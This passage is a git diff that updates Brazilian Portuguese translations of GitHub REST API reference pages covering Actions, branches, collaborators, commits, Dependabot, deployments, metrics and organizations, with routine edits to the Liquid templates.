-The Artifacts API allows you to download, delete, and retrieve information about workflow artifacts. {% data reusables.actions.about-artifacts %} For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+A API de Artefatos permite que você faça o download, exclua e recupere informações sobre artefatos de fluxo de trabalho. {% data reusables.actions.about-artifacts %} Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -31,58 +31,58 @@ The Artifacts API allows you to download, delete, and retrieve information about
 {% endfor %}
 
 {% ifversion fpt or ghes > 2.22 or ghae or ghec %}
-## Permissions
+## Permissões
 
 The Permissions API allows you to set permissions for what organizations and repositories are allowed to run {% data variables.product.prodname_actions %}, and what actions are allowed to run.{% ifversion fpt or ghec or ghes %} For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization)."{% endif %}
 
-You can also set permissions for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API.
+Você também pode definir permissões para uma empresa. Para obter mais informações, consulte a "[{% data variables.product.prodname_dotcom %} administração do Enterprise](/rest/reference/enterprise-admin#github-actions)" API REST.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'permissions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 {% endif %}
 
-## Secrets
+## Segredos
 
-The Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+A API Segredos permite criar, atualizar, excluir e recuperar informações sobre segredos criptografados. {% data reusables.actions.about-secrets %} Para obter mais informações, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `secrets` permission to use this API. Authenticated users must have collaborator access to a repository to create, update, or read secrets.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} deve ter a permissão `segredos` para usar esta API. Os usuários autenticados devem ter acesso de colaborador em um repositório para criar, atualizar ou ler segredos.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Self-hosted runners
+## Executores auto-hospedados
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
-The Self-hosted Runners API allows you to register, view, and delete self-hosted runners. {% data reusables.actions.about-self-hosted-runners %} For more information, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+A API de executores auto-hospedados permite que você registre, visualize e exclua executores auto-hospedados. {% data reusables.actions.about-self-hosted-runners %} Para obter mais informações, consulte "[Hospedando seus próprios executores](/actions/hosting-your-own-runners)".
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to the repository or organization to use this API.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} deve ter a permissão de administração `` para repositórios ou a permissão `organization_self_hosted_runners` para as organizações. Usuários autenticados devem ter acesso de administrador ao repositório ou à organização para usar essa API.
 
-You can manage self-hosted runners for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API.
+Você pode gerenciar runners auto-hospedados para uma empresa. Para obter mais informações, consulte a "[{% data variables.product.prodname_dotcom %} administração do Enterprise](/rest/reference/enterprise-admin#github-actions)" API REST.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'self-hosted-runners' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Self-hosted runner groups
+## Grupos de runner auto-hospedados
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
-The Self-hosted Runners Groups API allows you manage groups of self-hosted runners. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+A API dos Grupos de Runners auto-hospedados permite que você gerencie grupos de runners auto-hospedados. Para obter mais informações, consulte "[Gerenciando acesso a runners auto-hospedados usando grupos](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)".
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to the repository or organization to use this API.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} deve ter a permissão de administração `` para repositórios ou a permissão `organization_self_hosted_runners` para as organizações. Usuários autenticados devem ter acesso de administrador ao repositório ou à organização para usar essa API.
 
-You can manage self-hosted runner groups for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin##github-actions)" REST API.
+Você pode gerenciar grupos de runners auto-hospedados para uma empresa. Para obter mais informações, consulte a "[{% data variables.product.prodname_dotcom %} administração do Enterprise](/rest/reference/enterprise-admin##github-actions)" API REST.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'self-hosted-runner-groups' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflows
+## Fluxos de trabalho
 
-The Workflows API allows you to view workflows for a repository. {% data reusables.actions.about-workflows %} For more information, see "[Automating your workflow with GitHub Actions](/actions/automating-your-workflow-with-github-actions)."
+A API de fluxos de trabalho permite que você veja fluxos de trabalho para um repositório. {% data reusables.actions.about-workflows %} Para obter mais informações, consulte "[Automatizando seu fluxo de trabalho com o GitHub Actions](/actions/automating-your-workflow-with-github-actions)".
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -90,9 +90,9 @@ The Workflows API allows you to view workflows for a repository. {% data reusabl
   {% if operation.subcategory == 'workflows' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflow jobs
+## Trabalhos de fluxo de trabalho
 
-The Workflow Jobs API allows you to view logs and workflow jobs. {% data reusables.actions.about-workflow-jobs %} For more information, see "[Workflow syntax for GitHub Actions](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
+A API de Trabalhos de Fluxo de Trabalho permite que você visualize logs e trabalhos de fluxo de trabalho. {% data reusables.actions.about-workflow-jobs %} Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para GitHub Actions](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -100,9 +100,9 @@ The Workflow Jobs API allows you to view logs and workflow jobs. {% data reusabl
   {% if operation.subcategory == 'workflow-jobs' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflow runs
+## Execução de fluxo de trabalho
 
-The Workflow Runs API allows you to view, re-run, cancel, and view logs for workflow runs. {% data reusables.actions.about-workflow-runs %} For more information, see "[Managing a workflow run](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)."
+A API de execução de fluxo de trabalho permite que você visualize, execute novamente, cancele e visualize os logs para executar o fluxo de trabalho. {% data reusables.actions.about-workflow-runs %} Para obter mais informações, consulte "[Gerenciando uma execução de fluxo de trabalho](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)".
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
diff --git a/translations/pt-BR/content/rest/reference/branches.md b/translations/pt-BR/content/rest/reference/branches.md
index 60a187a93b..f021856253 100644
--- a/translations/pt-BR/content/rest/reference/branches.md
+++ b/translations/pt-BR/content/rest/reference/branches.md
@@ -1,6 +1,6 @@
 ---
 title: Branches
-intro: 'The branches API allows you to modify branches and their protection settings.'
+intro: The branches API allows you to modify branches and their protection settings.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,19 +12,11 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Branches
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Merging
-
-The Repo Merging API supports merging branches in a repository. This accomplishes
-essentially the same thing as merging one branch into another in a local repository
-and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient.
-
-The authenticated user will be the author of any merges done through this endpoint.
-
+## Branches protegidos
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% if operation.subcategory == 'branch-protection' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/pt-BR/content/rest/reference/collaborators.md b/translations/pt-BR/content/rest/reference/collaborators.md
index c4842b7049..6b88919cc0 100644
--- a/translations/pt-BR/content/rest/reference/collaborators.md
+++ b/translations/pt-BR/content/rest/reference/collaborators.md
@@ -1,5 +1,5 @@
 ---
-title: Collaborators
+title: Colaboradores
 intro: 'The collaborators API allows you to add, invite, and remove collaborators from a repository.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -12,24 +12,20 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Collaborators
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Invitations
+## Convites
 
-The Repository Invitations API allows users or external services to invite other users to collaborate on a repo. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations.
+A API de Convites do Repositório permite que usuários ou serviços externos convidem outros usuários para colaborar em um repositório. Os usuários convidados (ou serviços externos em nome dos usuários convidados) podem optar por aceitar ou recusar os convites.
 
-Note that the `repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted
-access to invitations **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as invitations.
+Observe que o [Escopo OAuth](/developers/apps/scopes-for-oauth-apps) `repo:invite` concede acesso direcionado aos convites **sem** conceder também acesso ao código do repositório. enquanto o escopo `repo` concede permissão ao código e aos convites convites.
 
-### Invite a user to a repository		
+### Convidar um usuário para um repositório
 
-Use the API endpoint for adding a collaborator. For more information, see "[Add a repository collaborator](/rest/reference/collaborators#add-a-repository-collaborator)."
+Use o ponto de extremidade da API para adicionar um colaborador. Para obter mais informações, consulte "[Adicionar um colaborador de repositório](/rest/reference/collaborators#add-a-repository-collaborator)".
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+{% endfor %}
diff --git a/translations/pt-BR/content/rest/reference/commits.md b/translations/pt-BR/content/rest/reference/commits.md
index 79591a09a6..5d6ccc2cec 100644
--- a/translations/pt-BR/content/rest/reference/commits.md
+++ b/translations/pt-BR/content/rest/reference/commits.md
@@ -1,6 +1,6 @@
 ---
 title: Commits
-intro: 'The commits API allows you to retrieve information and commits, create commit comments, and create commit statuses.'
+intro: 'The commits API allows you to list, view, and compare commits in a repository. You can also interact with commit comments and commit statuses.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,57 +12,41 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Commits
-
-The Repo Commits API supports listing, viewing, and comparing commits in a repository.
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Commit comments
+## Comentários de commit
 
-### Custom media types for commit comments
+### Tipos de mídia personalizados para comentários de commit
 
-These are the supported media types for commit comments. You can read more
-about the use of media types in the API [here](/rest/overview/media-types).
+Estes são os tipos de mídia compatíveis com os comentários do commit. Você pode ler mais sobre o uso de tipos de mídia na API [aqui](/rest/overview/media-types).
 
     application/vnd.github-commitcomment.raw+json
     application/vnd.github-commitcomment.text+json
     application/vnd.github-commitcomment.html+json
     application/vnd.github-commitcomment.full+json
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+Para obter mais informações, consulte "[tipos de mídia personalizados](/rest/overview/media-types)".
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Commit statuses
+## Status do commit
 
-The status API allows external services to mark commits with an `error`,
-`failure`, `pending`, or `success` state, which is then reflected in pull requests
-involving those commits.
+A API de status permite que serviços externos marquem commits com status de `erro`, `falha`, `pendente` ou `sucesso`, o que é refletido em pull requests que envolvem esses commits.
 
-Statuses can also include an optional `description` and `target_url`, and
-we highly recommend providing them as they make statuses much more
-useful in the GitHub UI.
+Os status também podem incluir uma `descrição` opcional e `target_url`, e é altamente recomendável fornecê-los, pois tornam o status muito mais útil na interface de usuário do GitHub.
 
-As an example, one common use is for continuous integration
-services to mark commits as passing or failing builds using status.  The
-`target_url` would be the full URL to the build output, and the
-`description` would be the high level summary of what happened with the
-build.
+Como exemplo, um uso comum é para serviços de integração contínua para marcar commits como criações que passam ou que falham usando o status.  O `target_url` seria a URL completa para a saída da criação, e a `descrição` seria o resumo de alto nível do que aconteceu com a criação.
 
-Statuses can include a `context` to indicate what service is providing that status.
-For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`.  You can
-then use the [Get the combined status for a specific reference](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit.
+Os status podem incluir um `contexto` para indicar qual serviço está fornecendo esse status. Por exemplo, você pode fazer com que o seu serviço de integração contínua faça push status com um contexto de `ci`, e uma ferramenta de auditoria de segurança faça push dos status com um contexto de `segurança`.  Você pode usar [Obter o status combinado para uma referência específica](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) para recuperar todo o status de um commit.
 
-Note that the `repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as statuses.
+Observe que o `escopo do OAuth` [repo:status](/developers/apps/scopes-for-oauth-apps) concede acesso direcionado a status **sem** conceder acesso ao código do repositório, enquanto o escopo `repo` concede permissão para o código e para status.
 
-If you are developing a GitHub App and want to provide more detailed information about an external service, you may want to use the [Checks API](/rest/reference/checks).
+Se você está desenvolvendo um aplicativo GitHub e deseja fornecer informações mais detalhadas sobre um serviço externo, você deverá usar a [API de verificação](/rest/reference/checks).
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+{% endfor %}
diff --git a/translations/pt-BR/content/rest/reference/dependabot.md b/translations/pt-BR/content/rest/reference/dependabot.md
new file mode 100644
index 0000000000..56f389c6eb
--- /dev/null
+++ b/translations/pt-BR/content/rest/reference/dependabot.md
@@ -0,0 +1,19 @@
+---
+title: Dependabot
+intro: 'With the {% data variables.product.prodname_dependabot %} Secrets API, you can manage and control {% data variables.product.prodname_dependabot %} secrets for an organization or repository.'
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+The {% data variables.product.prodname_dependabot %} Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `dependabot_secrets` permission to use this API. Os usuários autenticados devem ter acesso de colaborador em um repositório para criar, atualizar ou ler segredos.
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/pt-BR/content/rest/reference/deployments.md b/translations/pt-BR/content/rest/reference/deployments.md
index 1170b20485..3f6891ec82 100644
--- a/translations/pt-BR/content/rest/reference/deployments.md
+++ b/translations/pt-BR/content/rest/reference/deployments.md
@@ -1,5 +1,5 @@
 ---
-title: Deployments
+title: Implantações
 intro: 'The deployments API allows you to create and delete deploy keys, deployments, and deployment environments.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -12,28 +12,15 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Deploy keys
+As implantações são solicitações para implantar um ref específico (branch, SHA, tag). O GitHub envia um [ evento de `implantação`](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) pelo qual os serviços externos podem ouvir e atuar quando novas implantações são criadas. As implantações permitem que os desenvolvedores e as organizações construam ferramentas associadas em torno de implantações sem ter que se preocupar com os detalhes de implementação da entrega de diferentes tipos de aplicativos (p. ex., web, nativo).
 
-{% data reusables.repositories.deploy-keys %}
+Os status de implantação externos permitem marcar implantações com `error`, `failure`, `pending`, `in_progress`, `queued` ou `success` afirmar que os sistemas que estão escutando os eventos [`deployment_status`](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) podem consumir.
 
-Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)."
+Os status de implantação também podem incluir uma `descrição` opcional e `log_url`, que são altamente recomendados porque tornam o status de implantação mais útil. O `log_url` é a URL completa para a saída de implantação e a `descrição` é um resumo de alto nível do que aconteceu com a implantação.
 
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
-{% endfor %}
+O GitHub envia os eventos de `implantação` e `deployment_status` quando novas implantações de status de implantação são criadas. Esses eventos permitem que as integrações de terceiros recebam resposta para solicitações de implantação e atualizem o status de implantação conforme o progresso é feito.
 
-## Deployments
-
-Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native).
-
-Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume.
-
-Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and
-the `description` is a high-level summary of what happened with the deployment.
-
-GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allows third-party integrations to receive respond to deployment requests and update the status of a deployment as progress is made.
-
-Below is a simple sequence diagram for how these interactions would work.
+Abaixo está um diagrama de sequência sobre para como essas interações funcionariam.
 
 ```
 +---------+             +--------+            +-----------+        +-------------+
@@ -62,29 +49,44 @@ Below is a simple sequence diagram for how these interactions would work.
      |                      |                       |                     |
 ```
 
-Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc.
+Tenha em mente que o GitHub nunca terá acesso aos seus servidores. Cabe à sua integração de terceiros interagir com os eventos de implantação. Vários sistemas podem ouvir eventos de implantação, e cabe a cada um desses sistemas decidir se serão responsáveis por retirar o código dos seus servidores, criar código nativo, etc.
 
-Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well.
+Observe que o `repo_deployment` [OAuth escopo](/developers/apps/scopes-for-oauth-apps) concede acesso direcionado a implantações e status **sem** conceder acesso ao código do repositório, enquanto os es escopos {% ifversion not ghae %}`public_repo` e{% endif %}`repositório` também concedem permissão para codificar.
 
+### Implantações inativas
 
-### Inactive deployments
+Ao definir o estado de uma implantação como `sucesso`, todas as implantações de ambiente de não produção e não transitórios anteriores no mesmo nome do ambiente irão tornar-se `inativas`. Para evitar isso, você pode definir `auto_inactive` como `falso` ao criar o status de implantação.
 
-When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status.
-
-You can communicate that a transient environment no longer exists by setting its `state` to `inactive`.  Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it.
+Você pode informar que um ambiente transitório não existe mais definindo seu `estado` como `inativo`.  Definir o `estado` como `inativo` mostra a implantação como `destruída` em {% data variables.product.prodname_dotcom %} e remove o acesso a ela.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Status da implantação
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Chaves de implantação
+
+{% data reusables.repositories.deploy-keys %}
+
+Chaves de implantação podem ser configuradas usando os seguintes pontos de extremidades da API ou usando o GitHub. Para saber como configurar as chaves de implantação no GitHub, consulte "[Gerenciar chaves de implantação](/developers/overview/managing-deploy-keys)".
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Environments
+## Ambientes
 
-The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)."
+A API de Ambientes permite que você crie, configure e exclua ambientes. Para obter mais informações sobre ambientes, consulte "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment)". Para gerenciar segredos de ambiente, consulte "[Segredos](/rest/reference/actions#secrets)".
 
 {% data reusables.gated-features.environments %}
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'environments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
-{% endif %}
\ No newline at end of file
+{% endif %}
diff --git a/translations/pt-BR/content/rest/reference/index.md b/translations/pt-BR/content/rest/reference/index.md
index eb8dc90939..006c501c38 100644
--- a/translations/pt-BR/content/rest/reference/index.md
+++ b/translations/pt-BR/content/rest/reference/index.md
@@ -1,7 +1,7 @@
 ---
-title: Reference
-shortTitle: Reference
-intro: View reference documentation to learn about the resources available in the GitHub REST API.
+title: Referência
+shortTitle: Referência
+intro: Veja documentação de referência para aprender os recursos disponíveis na API REST do GitHub.
 versions:
   fpt: '*'
   ghes: '*'
@@ -19,31 +19,32 @@ children:
   - /codes-of-conduct
   - /code-scanning
   - /codespaces
-  - /commits
   - /collaborators
+  - /commits
+  - /dependabot
   - /deployments
   - /emojis
   - /enterprise-admin
   - /gists
   - /git
-  - /pages
   - /gitignore
   - /interactions
   - /issues
   - /licenses
   - /markdown
   - /meta
+  - /metrics
   - /migrations
   - /oauth-authorizations
   - /orgs
   - /packages
+  - /pages
   - /projects
   - /pulls
   - /rate-limit
   - /reactions
   - /releases
   - /repos
-  - /repository-metrics
   - /scim
   - /search
   - /secret-scanning
diff --git a/translations/pt-BR/content/rest/reference/metrics.md b/translations/pt-BR/content/rest/reference/metrics.md
new file mode 100644
index 0000000000..ab809bc7ed
--- /dev/null
+++ b/translations/pt-BR/content/rest/reference/metrics.md
@@ -0,0 +1,60 @@
+---
+title: Metrics
+intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/repository-metrics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## Comunidade
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% endif %}
+
+## Estatísticas
+
+A API de Estatísticas do Repositório permite que você recupere os dados que o {% data variables.product.product_name %} usa para visualizar diferentes tipos de atividade do repositório.
+
+### Umas palavras sobre o armazenamento em cache
+
+Computar as estatísticas do repositório é uma operação cara. Por esse motivo, tentamos retornar dados armazenados em cache sempre que possível.  Se os dados não forem armazenados em cache nas estatísticas de um repositório, você receberá uma resposta de `202`; um trabalho em segundo plano também é acionado para começar a compilar estas estatísticas. Dê ao trabalho alguns instantes para que seja concluído e, em seguida, envie a solicitação novamente. Se o trabalho foi concluído, essa solicitação receberá uma resposta de `200` com as estatísticas no texto da resposta.
+
+As estatísticas do repositório são armazenadas em cache pelo SHA do branch-padrão do repositório; fazer push para o branch-padrão redefine o armazenamento em cache de estatísticas.
+
+### As estatísticas excluem alguns tipos de commits
+
+As estatísticas expostas pela API correspondem às estatísticas mostradas pelos [diferentes gráficos de repositórios](/github/visualizing-repository-data-with-graphs/about-repository-graphs).
+
+Resumo:
+- Todas as estatísticas excluem commits de merge.
+- As estatísticas do contribuidor também excluem commits vazios.
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## Tráfego
+
+Para repositórios aos quais você tem acesso de push, a API de tráfego fornece acesso às informações fornecidas no seu gráfico de repositório. Para obter mais informações, consulte "<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">Visualizar tráfego para um repositório</a>. "
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+{% endif %}
diff --git a/translations/pt-BR/content/rest/reference/orgs.md b/translations/pt-BR/content/rest/reference/orgs.md
index 1d2930d047..dcf024c1c0 100644
--- a/translations/pt-BR/content/rest/reference/orgs.md
+++ b/translations/pt-BR/content/rest/reference/orgs.md
@@ -1,6 +1,6 @@
 ---
-title: Organizations
-intro: 'The Organizations API gives you access to control and manage all your {% data variables.product.product_name %} organizations.'
+title: Organizações
+intro: 'A API de organizações concede acesso para controlar e gerenciar todas as suas organizações de {% data variables.product.product_name %}.'
 allowTitleToDifferFromFilename: true
 redirect_from:
   - /v3/orgs
@@ -19,9 +19,9 @@ miniTocMaxHeadingLevel: 3
 {% endfor %}
 
 {% ifversion fpt or ghec %}
-## Blocking users
+## Bloquear usuários
 
-The token used to authenticate the call must have the `admin:org` scope in order to make any blocking calls for an organization. Otherwise, the response returns `HTTP 404`.  
+O token usado para autenticar a chamada deve ter o escopo `admin:org` para fazer quaisquer chamadas de bloqueio para uma organização. Caso contrário, a resposta retornará `HTTP 404`.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'blocking' %}{% include rest_operation %}{% endif %}
@@ -29,20 +29,20 @@ The token used to authenticate the call must have the `admin:org` scope in order
 
 {% endif %}
 
-## Members
+## Integrantes
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'members' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Outside collaborators
+## Colaboradores externos
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'outside-collaborators' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
 {% ifversion fpt or ghes > 3.4  %}
-## Custom repository roles
+## Funções de repositório personalizadas
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'custom_roles' %}{% include rest_operation %}{% endif %}
@@ -51,28 +51,28 @@ The token used to authenticate the call must have the `admin:org` scope in order
 
 ## Webhooks
 
-Organization webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in an organization. {% data reusables.webhooks.webhooks-rest-api-links %}
+Os webhooks da organização permitem que você receba cargas de HTTP do tipo `POST` sempre que certos eventos ocorrerem dentro da organização. {% data reusables.webhooks.webhooks-rest-api-links %}
 
-For more information on actions you can subscribe to, see "[{% data variables.product.prodname_dotcom %} event types](/developers/webhooks-and-events/github-event-types)."
+Para obter mais informações sobre ações que você pode assinar, consulte "[ tipos de evento de {% data variables.product.prodname_dotcom %}](/developers/webhooks-and-events/github-event-types)".
 
-### Scopes & Restrictions
+### Escopos & Restrições
 
-All actions against organization webhooks require the authenticated user to be an admin of the organization being managed. Additionally, OAuth tokens require the `admin:org_hook` scope. For more information, see "[Scopes for OAuth Apps](/developers/apps/scopes-for-oauth-apps)."
+Todas as ações contra webhooks da organização exigem que o usuário autenticado seja um administrador da organização que está sendo gerenciada. Além disso, os tokens do OAuth requerem o escopo `admin:org_hook`. Para obter mais informações, consulte "[Escopos para aplicativos OAuth](/developers/apps/scopes-for-oauth-apps)."
 
-In order to protect sensitive data which may be present in webhook configurations, we also enforce the following access control rules:
+Para proteger dados sensíveis que podem estar presentes nas configurações do webhook, também aplicamos as seguintes regras de controle de acesso:
 
-- OAuth applications cannot list, view, or edit webhooks which they did not create.
-- Users cannot list, view, or edit webhooks which were created by OAuth applications.
+- Os aplicativos OAuth não podem listar, visualizar ou editar webhooks que não criaram.
+- Os usuários não podem listar, visualizar ou editar webhooks que foram criados por aplicativos OAuth.
 
-### Receiving Webhooks
+### Receber Webhooks
 
-In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS.
